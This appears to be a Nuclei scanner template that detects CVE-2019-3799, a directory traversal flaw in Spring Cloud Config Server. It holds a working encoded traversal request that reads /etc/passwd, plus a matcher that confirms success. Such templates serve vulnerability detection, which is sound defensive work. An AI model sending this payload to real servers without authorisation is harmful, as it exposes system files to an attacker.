id: CVE-2019-3799

info:
  name: Spring-Cloud-Config-Server Directory Traversal
  author: madrobot
  severity: medium
  description: Spring Cloud Config, versions 2.1.x prior to 2.1.2, versions 2.0.x prior to 2.0.4, and versions 1.4.x prior to 1.4.6, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user, or attacker, can send a request using a specially crafted URL that can lead a directory traversal attack.
  reference:
    - https://github.com/mpgn/CVE-2019-3799
    - https://pivotal.io/security/cve-2019-3799
    - https://www.oracle.com/security-alerts/cpuapr2022.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2019-3799
    cwe-id: CWE-22
  tags: cve,cve2019,lfi

requests:
  - method: GET
    path:
      - "{{BaseURL}}/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: regex
        regex:
          - 'root:.*:0:0:'
        part: body